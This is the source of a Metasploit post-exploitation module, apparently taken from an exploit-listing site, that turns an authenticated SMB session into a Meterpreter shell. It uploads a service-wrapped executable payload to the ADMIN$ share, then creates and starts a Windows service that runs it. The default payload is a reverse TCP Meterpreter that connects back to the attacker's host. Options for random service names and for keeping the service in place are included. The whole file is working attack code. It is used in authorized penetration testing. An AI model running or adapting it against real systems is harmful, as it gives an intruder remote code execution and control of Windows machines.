## https://sploitus.com/exploit?id=MSF:POST-WINDOWS-MANAGE-SMB_TO_METERPRETER-
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Exploit::EXE
include Msf::Auxiliary::Report
include Msf::Post::SessionUpgrade
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMB to Meterpreter Upgrade via PsExec',
'Description' => %q{
Upgrades an authenticated SMB session to a Meterpreter session using PsExec techniques.
This module uploads a service-wrapped executable payload to the ADMIN$ share via the
existing authenticated SMB connection, then creates and starts a Windows service that
executes the payload. This mirrors the approach used by exploit/windows/smb/psexec.
Requires administrative privileges on the target.
},
'License' => MSF_LICENSE,
'Author' => ['Dean Welch'],
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['smb'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptEnum.new('TARGET_ARCH', [true, 'Target architecture.', 'x64', ['x86', 'x64']])
]
)
register_advanced_options(
[
OptString.new('PAYLOAD_OVERRIDE', [false, 'Define the payload to use instead of the auto-selected meterpreter payload.']),
OptString.new('SERVICE_NAME', [false, 'Custom service name (random if not set).']),
OptString.new('SERVICE_DISPLAY_NAME', [false, 'Custom service display name.']),
OptBool.new('SERVICE_PERSIST', [false, 'Do not delete the service after execution.', false]),
OptString.new('SERVICE_FILENAME', [false, 'Filename for the uploaded payload (random if not set).'])
]
)
end
def run
return unless validate_session!
datastore['PAYLOAD'] = datastore['PAYLOAD_OVERRIDE'].presence || select_payload
run_upgrade
end
# Verifies the session can access ADMIN$ and bind to the SVCCTL pipe.
def check
return Exploit::CheckCode::Safe('Session is not valid') unless validate_session!
target_host = session.client.dispatcher.tcp_socket.peerhost
simple = session.simple_client
# Verify ADMIN$ is writable
share = admin_share_path(target_host)
begin
simple.connect(share)
simple.disconnect(share)
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
return Exploit::CheckCode::Safe("Cannot access ADMIN$ share: #{e}")
end
# Verify SVCCTL pipe is accessible
begin
tree = session.client.tree_connect("\\\\#{target_host}\\IPC$")
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
scm_handle = svcctl.open_sc_manager_w(target_host)
svcctl.close_service_handle(scm_handle)
Exploit::CheckCode::Appears('ADMIN$ is writable and SVCCTL pipe is accessible')
rescue RubySMB::Dcerpc::Error::SvcctlError => e
if e.message.include?('ERROR_ACCESS_DENIED')
Exploit::CheckCode::Safe('Insufficient privileges to open Service Control Manager')
else
Exploit::CheckCode::Unknown("SVCCTL error: #{e}")
end
rescue RubySMB::Dcerpc::Error::BindError,
RubySMB::Dcerpc::Error::FaultError,
RubySMB::Dcerpc::Error::DcerpcError,
RubySMB::Error::RubySMBError => e
Exploit::CheckCode::Unknown("Cannot bind to SVCCTL pipe: #{e}")
ensure
tree.disconnect! if tree
end
end
# Uploads a service EXE to ADMIN$ and creates a Windows service to execute it.
def execute_upgrade(lhost)
target_host = session.client.dispatcher.tcp_socket.peerhost
simple = session.simple_client
@service_filename = datastore['SERVICE_FILENAME'] || "#{Rex::Text.rand_text_alpha(8)}.exe"
@target_host = target_host
@simple = simple
upload_payload_exe(simple, target_host, lhost)
execute_service_via_svcctl(target_host)
end
private
# Generates the service-wrapped EXE and writes it to \\target\ADMIN$\<filename>.
def upload_payload_exe(simple, target_host, lhost)
payload_data = generate_upgrade_payload(lhost, datastore['LPORT'], datastore['PAYLOAD'])
if payload_data.nil?
fail_with(Msf::Exploit::Failure::BadConfig, "Failed to generate payload #{datastore['PAYLOAD']}")
end
arch = datastore['TARGET_ARCH'] == 'x64' ? [ARCH_X64] : [ARCH_X86]
opts = { code: payload_data, arch: arch, servicename: service_name }
exe = Msf::Util::EXE.to_executable_fmt(framework, arch.first, 'win', payload_data, 'exe-service', opts)
if exe.nil? || exe.empty?
fail_with(Msf::Exploit::Failure::Unknown, 'Failed to generate service EXE payload')
end
share = admin_share_path(target_host)
begin
simple.connect(share)
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
fail_with(Msf::Exploit::Failure::Unreachable, "Failed to connect to ADMIN$ share: #{e}")
end
begin
fd = simple.open("\\#{@service_filename}", 'rwct', 48000, read: true, write: true)
fd << exe
fd.close
print_status("Uploaded payload to #{share}\\#{@service_filename}")
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
fail_with(Msf::Exploit::Failure::Unknown, "Failed to upload payload: #{e}")
ensure
simple.disconnect(share)
end
end
# Connects to IPC$ via SVCCTL, creates a service pointing at the uploaded EXE, and starts it.
def execute_service_via_svcctl(target_host)
svc_handle = nil
svcctl = nil
scm_handle = nil
begin
tree = session.client.tree_connect("\\\\#{target_host}\\IPC$")
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
print_error("Failed to connect to IPC$ share: #{e}")
return
end
begin
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
vprint_status('Bound to \\svcctl')
rescue RubySMB::Dcerpc::Error::BindError,
RubySMB::Dcerpc::Error::FaultError,
RubySMB::Dcerpc::Error::DcerpcError,
RubySMB::Error::RubySMBError => e
print_error("Failed to bind to SVCCTL pipe: #{e}")
return
end
begin
scm_handle = svcctl.open_sc_manager_w(target_host)
rescue RubySMB::Dcerpc::Error::SvcctlError => e
if e.message.include?('ERROR_ACCESS_DENIED')
print_error('Insufficient privileges to open Service Control Manager. Administrative access is required.')
else
print_error("Failed to open Service Control Manager: #{e}")
end
return
end
display_name = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(rand(8..16))
# Service binary path points to the uploaded EXE in %SYSTEMROOT%
bin_path = "%SYSTEMROOT%\\#{@service_filename}"
begin
vprint_status("Creating service #{service_name}...")
svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, bin_path)
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Dcerpc::Error::FaultError => e
print_error("Failed to create service: #{e}")
return
end
begin
vprint_status('Starting the service...')
svcctl.start_service_w(svc_handle)
print_good('Service started successfully')
rescue RubySMB::Dcerpc::Error::SvcctlError => e
# Timeout is expected โ the service EXE spawns the payload then exits
if e.message.include?('ERROR_SERVICE_REQUEST_TIMEOUT')
vprint_status('Service start timed out, expected for payload execution')
else
print_error("Failed to start service: #{e}")
end
end
ensure
cleanup_service(svcctl, svc_handle, service_name) if svc_handle && svcctl
begin
svcctl&.close_service_handle(scm_handle) if scm_handle
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError
vprint_warning("Could not close scm handle: #{e}")
end
cleanup_payload_file
end
# Removes the uploaded EXE from ADMIN$ unless SERVICE_PERSIST is set.
def cleanup_payload_file
return if datastore['SERVICE_PERSIST']
return if @service_filename.nil? || @simple.nil? || @target_host.nil?
share = admin_share_path(@target_host)
begin
@simple.connect(share)
@simple.delete("\\#{@service_filename}")
vprint_good("Deleted #{share}\\#{@service_filename}")
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error => e
print_warning("Could not delete #{@service_filename} from ADMIN$. Manual removal may be required: #{e}")
ensure
begin
@simple.disconnect(share)
rescue RubySMB::Error::RubySMBError, Rex::Proto::SMB::Exceptions::Error
nil
end
end
end
# Returns the service name, generating a random one if not configured.
def service_name
@service_name ||= datastore['SERVICE_NAME'].presence || Rex::Text.rand_text_alpha(rand(8..16))
end
# Returns the UNC path to the ADMIN$ share on the target.
def admin_share_path(host)
"\\\\#{host}\\ADMIN$"
end
# Selects the appropriate Meterpreter payload based on target architecture.
def select_payload
case datastore['TARGET_ARCH']
when 'x64'
'windows/x64/meterpreter/reverse_tcp'
when 'x86'
'windows/meterpreter/reverse_tcp'
end
end
# Stops and deletes a Windows service created during execution.
def cleanup_service(svcctl, svc_handle, svc_name)
return if svcctl.nil? || svc_handle.nil?
if datastore['SERVICE_PERSIST']
vprint_status("SERVICE_PERSIST is set, skipping service deletion for '#{svc_name}'")
begin
svcctl.close_service_handle(svc_handle)
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
vprint_warning("Could not close service handle: #{e}")
end
return
end
begin
svcctl.control_service(svc_handle, RubySMB::Dcerpc::Svcctl::SERVICE_CONTROL_STOP)
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
vprint_warning("Could not stop service '#{svc_name}': #{e}")
end
begin
svcctl.delete_service(svc_handle)
vprint_good("Service '#{svc_name}' deleted successfully")
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
print_warning("Could not delete service '#{svc_name}'. Manual removal may be required: #{e}")
end
begin
svcctl.close_service_handle(svc_handle)
rescue RubySMB::Dcerpc::Error::SvcctlError, RubySMB::Error::RubySMBError => e
vprint_warning("Could not close service handle: #{e}")
end
end
# Returns true if session is valid, false otherwise.
def validate_session!
begin
session.client.dispatcher.tcp_socket.peerinfo
rescue Errno::ENOTCONN, IOError, Rex::ConnectionError => e
print_error("Session is not usable: #{e.message}")
return false
end
unless session.type == 'smb'
print_error("Invalid session type: #{session.type}. This module requires an SMB session.")
return false
end
true
end
end